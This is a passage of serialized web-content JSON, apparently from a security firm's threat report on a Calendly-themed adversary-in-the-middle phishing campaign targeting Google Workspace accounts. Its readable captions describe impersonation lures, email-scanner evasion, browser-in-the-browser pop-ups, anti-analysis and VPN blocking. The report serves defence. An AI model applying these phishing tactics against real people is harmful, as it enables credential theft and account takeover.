97318],{"type":943},{"data":97320,"marks":97321,"value":86305,"nodeType":865},{},[],{"data":97323,"content":97324,"nodeType":1317},{},[97325],{"data":97326,"marks":97327,"value":86313,"nodeType":865},{},[97328],{"type":926},{"data":97330,"content":97331,"nodeType":866},{},[97332],{"data":97333,"marks":97334,"value":86320,"nodeType":865},{},[],{"data":97336,"content":97339,"nodeType":912},{"target":97337},{"sys":97338},{"id":86325,"type":909,"linkType":910},[],{"data":97341,"content":97342,"nodeType":972},{},[],{"data":97344,"content":97345,"nodeType":981},{},[97346],{"data":97347,"marks":97348,"value":67181,"nodeType":865},{},[97349],{"type":926},{"data":97351,"content":97352,"nodeType":866},{},[97353],{"data":97354,"marks":97355,"value":86343,"nodeType":865},{},[],{"data":97357,"content":97358,"nodeType":866},{},[97359],{"data":97360,"marks":97361,"value":85750,"nodeType":865},{},[],{"data":97363,"content":97364,"nodeType":972},{},[],{"data":97366,"content":97367,"nodeType":981},{},[97368],{"data":97369,"marks":97370,"value":2270,"nodeType":865},{},[97371],{"type":926},{"data":97373,"content":97374,"nodeType":866},{},[97375],{"data":97376,"marks":97377,"value":86366,"nodeType":865},{},[],{"data":97379,"content":97380,"nodeType":866},{},[97381],{"data":97382,"marks":97383,"value":53863,"nodeType":865},{},[],{"data":97385,"content":97386,"nodeType":866},{},[97387,97390,97397,97400,97407],{"data":97388,"marks":97389,"value":11372,"nodeType":865},{},[],{"data":97391,"content":97392,"nodeType":889},{"uri":11375},[97393],{"data":97394,"marks":97395,"value":11381,"nodeType":865},{},[97396],{"type":943},{"data":97398,"marks":97399,"value":53880,"nodeType":865},{},[],{"data":97401,"content":97402,"nodeType":889},{"uri":1372},[97403],{"data":97404,"marks":97405,"value":11405,"nodeType":865},{},[97406],{"type":943},{"data":97408,"marks":97409,"value":1615,"nodeType":865},{},[],{"data":97411,"content":97414,"nodeType":912},{"target":97412},{"sys":97413},{"id":67359,"type":909,"linkType":910},[],{"data":97416,"content":97417,"nodeType":866},{},[97418],{"data":97419,"marks":97420,"value":21,"nodeType":865},{},[],{"entries":97422},{"hyperlink":97423,"inline":97424,"block":97425},[],[],[97426,97445,97451,97465,97472,97478,97483,97488,97494,97500,97507,97513,97519,97524,97530,97567,97593],{"sys":97427,"__typename":5503,"content":97428,"name":97444,"title":59},{"id":85863},{"json":97429},{"data":97430,"content":97431,"nodeType":1382},{},[97432],{"data":97433,"content":97434,"nodeType":866},{},[97435,97440],{"data":97436,"marks":97437,"value":97439,"nodeType":865},{},[97438],{"type":926},"Disclaimer:",{"data":97441,"marks":97442,"value":97443,"nodeType":865},{},[]," This campaign uses the names and images of real employees working for various companies that the attacker was impersonating. We have opted to redact any personally identifiable information, which extends to screenshots of the phishing pages with names and profile pictures, as well as names included in the phishing page URLs. ","Google Phishing Insight Box 4",{"sys":97446,"__typename":1390,"title":97447,"caption":97447,"layoutMode":59,"file":97448},{"id":85908},"Well-crafted, multi-stage, highly targeted phishing email coming from an account impersonating a real LVMH employee.",{"url":97449,"width":97450,"height":55425},"https://images.ctfassets.net/y1cdw1ablpvd/1l9ZXvGgfSzYdwKxd9bvSq/3d89d9bd9860374ccba6bd04762f44a4/image11.png",1044,{"sys":97452,"__typename":5503,"content":97453,"name":97464,"title":59},{"id":85921},{"json":97454},{"nodeType":1382,"data":97455,"content":97456},{},[97457],{"nodeType":866,"data":97458,"content":97459},{},[97460],{"nodeType":865,"value":97461,"marks":97462,"data":97463},"This approach is intentional. The multi-stage message is likely designed to defeat email content scanning tools looking for messages containing a link requesting an urgent response.",[],{},"Google Phishing Insight Box 1",{"sys":97466,"__typename":1390,"title":97467,"caption":97467,"layoutMode":59,"file":97468},{"id":85934},"Fake Calendly landing page. ",{"url":97469,"width":97470,"height":97471},"https://images.ctfassets.net/y1cdw1ablpvd/4YX3lqU3K4EVv230yAXPLu/1d640fd64d2db7b55b64828e02bb244b/Group_584.png",3416,1924,{"sys":97473,"__typename":1390,"title":97474,"caption":97475,"layoutMode":59,"file":97476},{"id":85947},"Calendly-themed AITM phishing page targeting Google Workspace accounts.","Calendly-themed AiTM phishing page targeting Google Workspace accounts.",{"url":97477,"width":1402,"height":84925},"https://images.ctfassets.net/y1cdw1ablpvd/30KsB1ENDg9m4X3srhYIpW/b57d6a0420a9991a37e138c6edc47ac5/image12.png",{"sys":97479,"__typename":1390,"title":97480,"caption":97480,"layoutMode":59,"file":97481},{"id":85990},"Request and response challenge on the AITM phishing page, denying unauthorized email domains from being able to log in to the page.",{"url":97482,"width":1402,"height":78586},"https://images.ctfassets.net/y1cdw1ablpvd/3ExT9jjIBk4CnbHSbjYuki/7d00292474ee4d9a4f433463d4242f89/image9.png",{"sys":97484,"__typename":1390,"title":97485,"caption":97485,"layoutMode":59,"file":97486},{"id":86003},"After entering an allowed email domain, the password entry field loads.",{"url":97487,"width":1402,"height":84925},"https://images.ctfassets.net/y1cdw1ablpvd/5JzkZirFB5VsTMbf9nlX58/6d7f6d72465df9c0133044bce33c6de1/image1.png",{"sys":97489,"__typename":1390,"title":97490,"caption":97490,"layoutMode":59,"file":97491},{"id":86016},"Webpages with similar properties to the attack analysed by Push.",{"url":97492,"width":1402,"height":97493},"https://images.ctfassets.net/y1cdw1ablpvd/T7zU58u4ts7e1ug1ScdjT/d84c1d1a8f785d637da9dcc4639e4899/image1.png",1182,{"sys":97495,"__typename":1390,"title":97496,"caption":97496,"layoutMode":59,"file":97497},{"id":86104},"Pages with similar properties impersonating Unilever, Disney, Lego, Artisan, and many more brands that look to be an older-style version of the same campaign.",{"url":97498,"width":1402,"height":97499},"https://images.ctfassets.net/y1cdw1ablpvd/6rzP1eIMjdI6rCPTQEQvMe/a57c25f26f5ff9e38e1ecfbe47a5e039/image6.png",1732,{"sys":97501,"__typename":1390,"title":97502,"caption":97502,"layoutMode":59,"file":97503},{"id":86148},"Newer phishing variant impersonating Calendly.",{"url":97504,"width":97505,"height":97506},"https://images.ctfassets.net/y1cdw1ablpvd/5yCWaYqsekS318AarCfkzc/e0c469becdfc3dcbfbbe5bab4d94ff14/Group_585.png",3448,2072,{"sys":97508,"__typename":1390,"title":97509,"caption":97509,"layoutMode":59,"file":97510},{"id":86154},"BITB-style pop-up window showing a legitimate-looking URL (instead of the phishing server it really points to).",{"url":97511,"width":1402,"height":97512},"https://images.ctfassets.net/y1cdw1ablpvd/4oeu6wp1oKSHblbVf6M2vN/a29ce019b7f5e40eb8017c3a28553457/image2.png",1202,{"sys":97514,"__typename":1390,"title":97515,"caption":97516,"layoutMode":59,"file":97517},{"id":86160},"Recent phishing page targeting both Facebook and Google accounts.","A different version of the page targeting both Facebook and Google accounts.",{"url":97518,"width":97505,"height":97506},"https://images.ctfassets.net/y1cdw1ablpvd/2Q3XlETnZXxFP4iArO0n8E/238bec1cbc9b6a3a27c173ce6d700ef4/Frame_627989.png",{"sys":97520,"__typename":1390,"title":97521,"caption":97521,"layoutMode":59,"file":97522},{"id":86173},"Anti-analysis functionality observed on the phishing page. ",{"url":97523,"width":1402,"height":97512},"https://images.ctfassets.net/y1cdw1ablpvd/32oz0k8DQ8JjMxG1ZirL5O/98603c762565ab073f7c5279ed06b952/image7.png",{"sys":97525,"__typename":1390,"title":97526,"caption":97526,"layoutMode":59,"file":97527},{"id":86179},"Access blocked when browsing from a VPN/Proxy.",{"url":97528,"width":78520,"height":97529},"https://images.ctfassets.net/y1cdw1ablpvd/27YWvGWWkoLgWnPvB9YDKt/e941d3ce4ba0df2a2206b0bcf1758b71/image_671.png",830,{"sys":97531,"__typename":5503,"content":97532,"name":97566,"title":59},{"id":86235},{"json":97533},{"nodeType":1382,"data":97534,"content":97535},{},[97536],{"nodeType":866,"data":97537,"content":97538},{},[97539,97543,97551,97555,97562],{"nodeType":865,"value":97540,"marks":97541,"data":97542},"Campaigns targeting Google accounts specifically are becoming increasingly common. ",[],{},{"nodeType":889,"data":97544,"content":97545},{"uri":68082},[97546],{"nodeType":865,"value":97547,"marks":97548,"data":97550},"Sublime discussed a similar job lure focused campaign impersonating Google Careers",[97549],{"type":943},{},{"nodeType":865,"value":97552,"marks":97553,"data":97554}," (which we’ve spotted recently too), while we also identified a ",[],{},{"nodeType":889,"data":97556,"content":97557},{"uri":83725},[97558],{"nodeType":865,"value":97559,"marks":97560,"data":97561},"campaign targeting Google Ad accounts via malvertising on Google Search",[],{},{"nodeType":865,"value":97563,"marks":97564,"data":97565}," around the same time that this attack was identified.",[],{},"Google Phishing Insight Box 3",{"sys":97568,"__typename":5503,"content":97569,"name":97592,"title":59},{"id":86325},{"json":97570},{"nodeType":1382,"data":97571,"content":97572},{},[97573],{"nodeType":866,"data":97574,"content":97575},{},[97576,97580,97588],{"nodeType":865,"value":97577,"marks":97578,"data":97579},"Even for organizations using a different primary cloud platform but with more than one IdP account per user (e.g. having a Microsoft and Google account) this can be abused by attackers taking advantage of overly permissive SSO configurations (also known as ",[],{},{"nodeType":889,"data":97581,"content":97582},{"uri":82201},[97583],{"nodeType":865,"value":97584,"marks":97585,"data":97587},"Cross-IdP impersonation",[97586],{"type":943},{},{"nodeType":865,"value":97589,"marks":97590,"data":97591},") which we covered in research last year.",[],{},"Google Phishing Insight Box 2",{"sys":97594,"__typename":1414,"type":1415,"ctaText":90651,"buttonLabel":68733,"buttonColour":1418,"buttonUrl":90586},{"id":67359},{"items":97596},[],{},"Uncovering a Calendly-themed phishing campaign ",{"items":97600},[97601,98084,98912],{"__typename":1429,"sys":97602,"content":97603,"title":87605,"synopsis":96340,"hashTags":59,"publishedDate":96341,"slug":87606,"tagsCollection":98074,"authorsCollection":98080},{"id":79710},{"json":97604},{"data":97605,"content":97606,"nodeType":1382},{},[97607,97613,97619,97645,97651,97657,97663,97666,97673,97689,97695,97700,97706,97711,97717,97722,97728,97733,97739,97744,97750,97756,97761,97764,97771,97787,97793,97799,97804,97820,97827,97843,97850,97866,97872,97877,97903,97910,97936,97943,97959,97964,97967,97974,97990,97995,97998,98005,98011,98017,98020,98027,98033,98039,98063,98068],{"data":97608,"content":97609,"nodeType":866},{},[97610],{"data":97611,"marks":97612,"value":95807,"nodeType":865},{},[],{"data":97614,"content":97615,"nodeType":866},{},[97616],{"data":97617,"marks":97618,"value":83842,"nodeType":865},{},[],{"data":97620,"content":97621,"nodeType":866},{},[97622,97625,97632,97635,97642],{"data":97623,"marks":97624,"value":95820,"nodeType":865},{},[],{"data":97626,"content":97627,"nodeType":889},{"uri":95823},[97628],{"data":97629,"marks":97630,"value":83858,"nodeType":865},{},[97631],{"type":943},{"data":97633,"marks":97634,"value":3476,"nodeType":865},{},[],{"data":97636,"content":97637,"nodeType":889},{"uri":8862},[97638],{"data":97639,"marks":97640,"value":8868,"nodeType":865},{},[97641],{"type":943},{"data":97643,"marks":97644,"value":95842,"nodeType":865},{},[],{"data":97646,"content":97647,"nodeType":866},{},[97648],{"data":97649,"marks":97650,"value":95849,"nodeType":865},{},[],{"data":97652,"content":97653,"nodeType":866},{},[97654],{"data":97655,"marks":97656,"value":95856,"nodeType":865},{},[],{"data":97658,"content":97659,"nodeType":866},{},[97660],{"data":97661,"marks":97662,"value":95863,"nodeType":865},{},[],{"data":97664,"content":97665,"nodeType":972},{},[],{"data":97667,"content":97668,"nodeType":981},{},[97669],{"data":97670,"marks":97671,"value":95874,"nodeType":865},{},[97672],{"type":926},{"data":97674,"content":97675,"nodeType":866},{},[97676,97679,97686],{"data":97677,"marks":97678,"value":95881,"nodeType":865},{},[],{"data":97680,"content":97681,"nodeType":889},{"uri":54386},[97682],{"data":97683,"marks":97684,"value":95889,"nodeType":865},{},[97685],{"type":943},{"data":97687,"marks":97688,"value":95893,"nodeType":865},{},[],{"data":97690,"content":97691,"nodeType":866},{},[97692],{"data":97693,"marks":97694,"value":95900,"nodeType":865},{},[],{"data":97696,"content":97699,"nodeType":912},{"target":97697},{"sys":97698},{"id":95905,"type":909,"linkType":910},[],{"data":97701,"content":97702,"nodeType":866},{},[97703],{"data":97704,"marks":97705,"value":95913,"nodeType":865},{},[],{"data":97707,"content":97710,"nodeType":912},{"target":97708},{"sys":97709},{"id":95918,"type":909,"linkType":910},[],{"data":97712,"content":97713,"nodeType":866},{},[97714],{"data":97715,"marks":97716,"value":95926,"nodeType":865},{},[],{"data":97718,"content":97721,"nodeType":912},{"target":97719},{"sys":97720},{"id":95931,"type":909,"linkType":910},[],{"data":97723,"content":97724,"nodeType":866},{},[97725],{"data":97726,"marks":97727,"value":95939,"nodeType":865},{},[],{"data":97729,"content":97732,"nodeType":912},{"target":97730},{"sys":97731},{"id":95944,"type":909,"linkType":910},[],{"data":97734,"content":97735,"nodeType":866},{},[97736],{"data":97737,"marks":97738,"value":95952,"nodeType":865},{},[],{"data":97740,"content":97743,"nodeType":912},{"target":97741},{"sys":97742},{"id":95957,"type":909,"linkType":910},[],{"data":97745,"content":97746,"nodeType":866},{},[97747],{"data":97748,"marks":97749,"value":95965,"nodeType":865},{},[],{"data":97751,"content":97752,"nodeType":866},{},[97753],{"data":97754,"marks":97755,"value":95972,"nodeType":865},{},[],{"data":97757,"content":97760,"nodeType":912},{"target":97758},{"sys":97759},{"id":95977,"type":909,"linkType":910},[],{"data":97762,"content":97763,"nodeType":972},{},[],{"data":97765,"content":97766,"nodeType":981},{},[97767],{"data":97768,"marks":97769,"value":95989,"nodeType":865},{},[97770],{"type":926},{"data":97772,"content":97773,"nodeType":866},{},[97774,97777,97784],{"data":97775,"marks":97776,"value":95996,"nodeType":865},{},[],{"data":97778,"content":97779,"nodeType":889},{"uri":95999},[97780],{"data":97781,"marks":97782,"value":96005,"nodeType":865},{},[97783],{"type":943},{"data":97785,"marks":97786,"value":96009,"nodeType":865},{},[],{"data":97788,"content":97789,"nodeType":866},{},[97790],{"data":97791,"marks":97792,"value":96016,"nodeType":865},{},[],{"data":97794,"content":97795,"nodeType":866},{},[97796],{"data":97797,"marks":97798,"value":96023,"nodeType":865},{},[],{"data":97800,"content":97803,"nodeType":912},{"target":97801},{"sys":97802},{"id":96028,"type":909,"linkType":910},[],{"data":97805,"content":97806,"nodeType":866},{},[97807,97810,97817],{"data":97808,"marks":97809,"value":96036,"nodeType":865},{},[],{"data":97811,"content":97812,"nodeType":889},{"uri":8862},[97813],{"data":97814,"marks":97815,"value":8868,"nodeType":865},{},[97816],{"type":943},{"data":97818,"marks":97819,"value":96047,"nodeType":865},{},[],{"data":97821,"content":97822,"nodeType":1317},{},[97823],{"data":97824,"marks":97825,"value":96055,"nodeType":865},{},[97826],{"type":926},{"data":97828,"content":97829,"nodeType":866},{},[97830,97833,97840],{"data":97831,"marks":97832,"value":96062,"nodeType":865},{},[],{"data":97834,"content":97835,"nodeType":889},{"uri":96065},[97836],{"data":97837,"marks":97838,"value":96071,"nodeType":865},{},[97839],{"type":943},{"data":97841,"marks":97842,"value":96075,"nodeType":865},{},[],{"data":97844,"content":97845,"nodeType":1317},{},[97846],{"data":97847,"marks":97848,"value":96083,"nodeType":865},{},[97849],{"type":926},{"data":97851,"content":97852,"nodeType":866},{},[97853,97856,97863],{"data":97854,"marks":97855,"value":21,"nodeType":865},{},[],{"data":97857,"content":97858,"nodeType":889},{"uri":66627},[97859],{"data":97860,"marks":97861,"value":96097,"nodeType":865},{},[97862],{"type":943},{"data":97864,"marks":97865,"value":96101,"nodeType":865},{},[],{"data":97867,"content":97868,"nodeType":866},{},[97869],{"data":97870,"marks":97871,"value":96108,"nodeType":865},{},[],{"data":97873,"content":97876,"nodeType":912},{"target":97874},{"sys":97875},{"id":96113,"type":909,"linkType":910},[],{"data":97878,"content":97879,"nodeType":866},{},[97880,97883,97890,97893,97900],{"data":97881,"marks":97882,"value":96121,"nodeType":865},{},[],{"data":97884,"content":97885,"nodeType":889},{"uri":86190},[97886],{"data":97887,"marks":97888,"value":96129,"nodeType":865},{},[97889],{"type":943},{"data":97891,"marks":97892,"value":96133,"nodeType":865},{},[],{"data":97894,"content":97895,"nodeType":889},{"uri":96136},[97896],{"data":97897,"marks":97898,"value":96142,"nodeType":865},{},[97899],{"type":943},{"data":97901,"marks":97902,"value":96146,"nodeType":865},{},[],{"data":97904,"content":97905,"nodeType":1317},{},[97906],{"data":97907,"marks":97908,"value":96154,"nodeType":865},{},[97909],{"type":926},{"data":97911,"content":97912,"nodeType":866},{},[97913,97916,97923,97926,97933],{"data":97914,"marks":97915,"value":96161,"nodeType":865},{},[],{"data":97917,"content":97918,"nodeType":889},{"uri":96164},[97919],{"data":97920,"marks":97921,"value":96170,"nodeType":865},{},[97922],{"type":943},{"data":97924,"marks":97925,"value":96174,"nodeType":865},{},[],{"data":97927,"content":97928,"nodeType":889},{"uri":96177},[97929],{"data":97930,"marks":97931,"value":96183,"nodeType":865},{},[97932],{"type":943},{"data":97934,"marks":97935,"value":96187,"nodeType":865},{},[],{"data":97937,"content":97938,"nodeType":1317},{},[97939],{"data":97940,"marks":97941,"value":96195,"nodeType":865},{},[97942],{"type":926},{"data":97944,"content":97945,"nodeType":866},{},[97946,97949,97956],{"data":97947,"marks":97948,"value":96202,"nodeType":865},{},[],{"data":97950,"content":97951,"nodeType":889},{"uri":96205},[97952],{"data":97953,"marks":97954,"value":96211,"nodeType":865},{},[97955],{"type":943},{"data":97957,"marks":97958,"value":96215,"nodeType":865},{},[],{"data":97960,"content":97963,"nodeType":912},{"target":97961},{"sys":97962},{"id":67359,"type":909,"linkType":910},[],{"data":97965,"content":97966,"nodeType":972},{},[],{"data":97968,"content":97969,"nodeType":981},{},[97970],{"data":97971,"marks":97972,"value":96231,"nodeType":865},{},[97973],{"type":926},{"data":97975,"content":97976,"nodeType":866},{},[97977,97980,97987],{"data":97978,"marks":97979,"value":96238,"nodeType":865},{},[],{"data":97981,"content":97982,"nodeType":889},{"uri":96241},[97983],{"data":97984,"marks":97985,"value":96247,"nodeType":865},{},[97986],{"type":943},{"data":97988,"marks":97989,"value":96251,"nodeType":865},{},[],{"data":97991,"content":97994,"nodeType":912},{"target":97992},{"sys":97993},{"id":96256,"type":909,"linkType":910},[],{"data":97996,"content":97997,"nodeType":972},{},[],{"data":97999,"content":98000,"nodeType":981},{},[98001],{"data":98002,"marks":98003,"value":57175,"nodeType":865},{},[98004],{"type":926},{"data":98006,"content":98007,"nodeType":866},{},[98008],{"data":98009,"marks":98010,"value":96274,"nodeType":865},{},[],{"data":98012,"content":98013,"nodeType":866},{},[98014],{"data":98015,"marks":98016,"value":96281,"nodeType":865},{},[],{"data":98018,"content":98019,"nodeType":972},{},[],{"data":98021,"content":98022,"nodeType":981},{},[98023],{"data":98024,"marks":98025,"value":6331,"nodeType":865},{},[98026],{"type":926},{"data":98028,"content":98029,"nodeType":866},{},[98030],{"data":98031,"marks":98032,"value":86366,"nodeType":865},{},[],{"data":98034,"content":98035,"nodeType":866},{},[98036],{"data":98037,"marks":98038,"value":96304,"nodeType":865},{},[],{"data":98040,"content":98041,"nodeType":866},{},[98042,98045,98051,98054,98060],{"data":98043,"marks":98044,"value":11372,"nodeType":865},{},[],{"data":98046,"content":98047,"nodeType":889},{"uri":11375},[98048],{"data":98049,"marks":98050,"value":11381,"nodeType":865},{},[],{"data":98052,"marks":98053,"value":53880,"nodeType":865},{},[],{"data":98055,"content":98056,"nodeType":889},{"uri":1372},[98057],{"data":98058,"marks":98059,"value":11405,"nodeType":865},{},[],{"data":98061,"marks":98062,"value":1615,"nodeType":865},{},[],{"data":98064,"content":98067,"nodeType":912},{"target":98065},{"sys":98066},{"id":67359,"type":909,"linkType":910},[],{"data":98069,"content":98070,"nodeType":866},{},[98071],{"data":98072,"marks":98073,"value":21,"nodeType":865},{},[],{"items":98075},[98076,98078],{"sys":98077,"name":7796},{"id":7795},{"sys":98079,"name":342},{"id":4642},{"items":98081},[98082],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":98083},{"url":7804},{"__typename":1429,"sys":98085,"content":98086,"title":53891,"synopsis":53892,"hashTags":59,"publishedDate":53893,"slug":53894,"tagsCollection":98902,"authorsCollection":98908},{"id":52948},{"json":98087},{"data":98088,"content":98089,"nodeType":1382},{},[98090,98096,98102,98108,98111,98118,98124,98130,98135,98141,98146,98162,98168,98178,98181,98188,98194,98207,98213,98223,98228,98231,98238,98245,98250,98258,98274,98282,98288,98296,98311,98319,98325,98333,98359,98367,98373,98381,98397,98402,98410,98416,98424,98457,98460,98467,98475,98491,98499,98505,98513,98539,98544,98552,98558,98563,98566,98573,98581,98587,98638,98643,98646,98653,98661,98667,98672,98675,98682,98688,98694,98754,98760,98815,98821,98824,98831,98837,98843,98848,98851,98858,98864,98870,98876],{"data":98091,"content":98092,"nodeType":866},{},[98093],{"data":98094,"marks":98095,"value":52959,"nodeType":865},{},[],{"data":98097,"content":98098,"nodeType":866},{},[98099],{"data":98100,"marks":98101,"value":52966,"nodeType":865},{},[],{"data":98103,"content":98104,"nodeType":866},{},[98105],{"data":98106,"marks":98107,"value":52973,"nodeType":865},{},[],{"data":98109,"content":98110,"nodeType":972},{},[],{"data":98112,"content":98113,"nodeType":981},{},[98114],{"data":98115,"marks":98116,"value":52984,"nodeType":865},{},[98117],{"type":926},{"data":98119,"content":98120,"nodeType":866},{},[98121],{"data":98122,"marks":98123,"value":52991,"nodeType":865},{},[],{"data":98125,"content":98126,"nodeType":866},{},[98127],{"data":98128,"marks":98129,"value":52998,"nodeType":865},{},[],{"data":98131,"content":98134,"nodeType":912},{"target":98132},{"sys":98133},{"id":53003,"type":909,"linkType":910},[],{"data":98136,"content":98137,"nodeType":866},{},[98138],{"data":98139,"marks":98140,"value":53011,"nodeType":865},{},[],{"data":98142,"content":98145,"nodeType":912},{"target":98143},{"sys":98144},{"id":53016,"type":909,"linkType":910},[],{"data":98147,"content":98148,"nodeType":866},{},[98149,98152,98159],{"data":98150,"marks":98151,"value":53024,"nodeType":865},{},[],{"data":98153,"content":98154,"nodeType":889},{"uri":15501},[98155],{"data":98156,"marks":98157,"value":53032,"nodeType":865},{},[98158],{"type":943},{"data":98160,"marks":98161,"value":53036,"nodeType":865},{},[],{"data":98163,"content":98164,"nodeType":866},{},[98165],{"data":98166,"marks":98167,"value":53043,"nodeType":865},{},[],{"data":98169,"content":98170,"nodeType":866},{},[98171,98174],{"data":98172,"marks":98173,"value":53050,"nodeType":865},{},[],{"data":98175,"marks":98176,"value":53055,"nodeType":865},{},[98177],{"type":926},{"data":98179,"content":98180,"nodeType":972},{},[],{"data":98182,"content":98183,"nodeType":981},{},[98184],{"data":98185,"marks":98186,"value":53066,"nodeType":865},{},[98187],{"type":926},{"data":98189,"content":98190,"nodeType":866},{},[98191],{"data":98192,"marks":98193,"value":53073,"nodeType":865},{},[],{"data":98195,"content":98196,"nodeType":866},{},[98197,98200,98204],{"data":98198,"marks":98199,"value":53080,"nodeType":865},{},[],{"data":98201,"marks":98202,"value":53085,"nodeType":865},{},[98203],{"type":926},{"data":98205,"marks":98206,"value":53089,"nodeType":865},{},[],{"data":98208,"content":98209,"nodeType":866},{},[98210],{"data":98211,"marks":98212,"value":53096,"nodeType":865},{},[],{"data":98214,"content":98215,"nodeType":866},{},[98216,98219],{"data":98217,"marks":98218,"value":53103,"nodeType":865},{},[],{"data":98220,"marks":98221,"value":53108,"nodeType":865},{},[98222],{"type":926},{"data":98224,"content":98227,"nodeType":912},{"target":98225},{"sys":98226},{"id":53113,"type":909,"linkType":910},[],{"data":98229,"content":98230,"nodeType":972},{},[],{"data":98232,"content":98233,"nodeType":981},{},[98234],{"data":98235,"marks":98236,"value":53125,"nodeType":865},{},[98237],{"type":926},{"data":98239,"content":98240,"nodeType":1317},{},[98241],{"data":98242,"marks":98243,"value":53133,"nodeType":865},{},[98244],{"type":926},{"data":98246,"content":98249,"nodeType":912},{"target":98247},{"sys":98248},{"id":53138,"type":909,"linkType":910},[],{"data":98251,"content":98252,"nodeType":866},{},[98253],{"data":98254,"marks":98255,"value":53148,"nodeType":865},{},[98256,98257],{"type":926},{"type":943},{"data":98259,"content":98260,"nodeType":866},{},[98261,98264,98271],{"data":98262,"marks":98263,"value":53155,"nodeType":865},{},[],{"data":98265,"content":98266,"nodeType":889},{"uri":53158},[98267],{"data":98268,"marks":98269,"value":53164,"nodeType":865},{},[98270],{"type":943},{"data":98272,"marks":98273,"value":53168,"nodeType":865},{},[],{"data":98275,"content":98276,"nodeType":866},{},[98277],{"data":98278,"marks":98279,"value":53177,"nodeType":865},{},[98280,98281],{"type":926},{"type":943},{"data":98283,"content":98284,"nodeType":866},{},[98285],{"data":98286,"marks":98287,"value":53184,"nodeType":865},{},[],{"data":98289,"content":98290,"nodeType":866},{},[98291],{"data":98292,"marks":98293,"value":53193,"nodeType":865},{},[98294,98295],{"type":926},{"type":943},{"data":98297,"content":98298,"nodeType":866},{},[98299,98302,98308],{"data":98300,"marks":98301,"value":53200,"nodeType":865},{},[],{"data":98303,"content":98304,"nodeType":889},{"uri":53203},[98305],{"data":98306,"marks":98307,"value":53208,"nodeType":865},{},[],{"data":98309,"marks":98310,"value":53212,"nodeType":865},{},[],{"data":98312,"content":98313,"nodeType":866},{},[98314],{"data":98315,"marks":98316,"value":53221,"nodeType":865},{},[98317,98318],{"type":926},{"type":943},{"data":98320,"content":98321,"nodeType":866},{},[98322],{"data":98323,"marks":98324,"value":53228,"nodeType":865},{},[],{"data":98326,"content":98327,"nodeType":866},{},[98328],{"data":98329,"marks":98330,"value":53237,"nodeType":865},{},[98331,98332],{"type":926},{"type":943},{"data":98334,"content":98335,"nodeType":866},{},[98336,98339,98346,98349,98356],{"data":98337,"marks":98338,"value":53244,"nodeType":865},{},[],{"data":98340,"content":98341,"nodeType":889},{"uri":3488},[98342],{"data":98343,"marks":98344,"value":53252,"nodeType":865},{},[98345],{"type":943},{"data":98347,"marks":98348,"value":53256,"nodeType":865},{},[],{"data":98350,"content":98351,"nodeType":889},{"uri":53259},[98352],{"data":98353,"marks":98354,"value":6715,"nodeType":865},{},[98355],{"type":943},{"data":98357,"marks":98358,"value":53268,"nodeType":865},{},[],{"data":98360,"content":98361,"nodeType":866},{},[98362],{"data":98363,"marks":98364,"value":53277,"nodeType":865},{},[98365,98366],{"type":926},{"type":943},{"data":98368,"content":98369,"nodeType":866},{},[98370],{"data":98371,"marks":98372,"value":53284,"nodeType":865},{},[],{"data":98374,"content":98375,"nodeType":866},{},[98376],{"data":98377,"marks":98378,"value":53293,"nodeType":865},{},[98379,98380],{"type":926},{"type":943},{"data":98382,"content":98383,"nodeType":866},{},[98384,98387,98394],{"data":98385,"marks":98386,"value":53300,"nodeType":865},{},[],{"data":98388,"content":98389,"nodeType":889},{"uri":53259},[98390],{"data":98391,"marks":98392,"value":6715,"nodeType":865},{},[98393],{"type":943},{"data":98395,"marks":98396,"value":53311,"nodeType":865},{},[],{"data":98398,"content":98401,"nodeType":912},{"target":98399},{"sys":98400},{"id":53316,"type":909,"linkType":910},[],{"data":98403,"content":98404,"nodeType":866},{},[98405],{"data":98406,"marks":98407,"value":53326,"nodeType":865},{},[98408,98409],{"type":926},{"type":943},{"data":98411,"content":98412,"nodeType":866},{},[98413],{"data":98414,"marks":98415,"value":53333,"nodeType":865},{},[],{"data":98417,"content":98418,"nodeType":866},{},[98419],{"data":98420,"marks":98421,"value":53342,"nodeType":865},{},[98422,98423],{"type":926},{"type":943},{"data":98425,"content":98426,"nodeType":866},{},[98427,98430,98436,98439,98445,98448,98454],{"data":98428,"marks":98429,"value":53349,"nodeType":865},{},[],{"data":98431,"content":98432,"nodeType":889},{"uri":53352},[98433],{"data":98434,"marks":98435,"value":53357,"nodeType":865},{},[],{"data":98437,"marks":98438,"value":4988,"nodeType":865},{},[],{"data":98440,"content":98441,"nodeType":889},{"uri":53363},[98442],{"data":98443,"marks":98444,"value":53368,"nodeType":865},{},[],{"data":98446,"marks":98447,"value":53372,"nodeType":865},{},[],{"data":98449,"content":98450,"nodeType":889},{"uri":13013},[98451],{"data":98452,"marks":98453,"value":53379,"nodeType":865},{},[],{"data":98455,"marks":98456,"value":53383,"nodeType":865},{},[],{"data":98458,"content":98459,"nodeType":972},{},[],{"data":98461,"content":98462,"nodeType":1317},{},[98463],{"data":98464,"marks":98465,"value":53394,"nodeType":865},{},[98466],{"type":926},{"data":98468,"content":98469,"nodeType":866},{},[98470],{"data":98471,"marks":98472,"value":53403,"nodeType":865},{},[98473,98474],{"type":926},{"type":943},{"data":98476,"content":98477,"nodeType":866},{},[98478,98481,98488],{"data":98479,"marks":98480,"value":53410,"nodeType":865},{},[],{"data":98482,"content":98483,"nodeType":889},{"uri":53413},[98484],{"data":98485,"marks":98486,"value":53419,"nodeType":865},{},[98487],{"type":943},{"data":98489,"marks":98490,"value":53423,"nodeType":865},{},[],{"data":98492,"content":98493,"nodeType":866},{},[98494],{"data":98495,"marks":98496,"value":53432,"nodeType":865},{},[98497,98498],{"type":926},{"type":943},{"data":98500,"content":98501,"nodeType":866},{},[98502],{"data":98503,"marks":98504,"value":53439,"nodeType":865},{},[],{"data":98506,"content":98507,"nodeType":866},{},[98508],{"data":98509,"marks":98510,"value":53448,"nodeType":865},{},[98511,98512],{"type":926},{"type":943},{"data":98514,"content":98515,"nodeType":866},{},[98516,98519,98526,98529,98536],{"data":98517,"marks":98518,"value":53455,"nodeType":865},{},[],{"data":98520,"content":98521,"nodeType":889},{"uri":53458},[98522],{"data":98523,"marks":98524,"value":53464,"nodeType":865},{},[98525],{"type":943},{"data":98527,"marks":98528,"value":53468,"nodeType":865},{},[],{"data":98530,"content":98531,"nodeType":889},{"uri":53471},[98532],{"data":98533,"marks":98534,"value":53477,"nodeType":865},{},[98535],{"type":943},{"data":98537,"marks":98538,"value":53481,"nodeType":865},{},[],{"data":98540,"content":98543,"nodeType":912},{"target":98541},{"sys":98542},{"id":53486,"type":909,"linkType":910},[],{"data":9854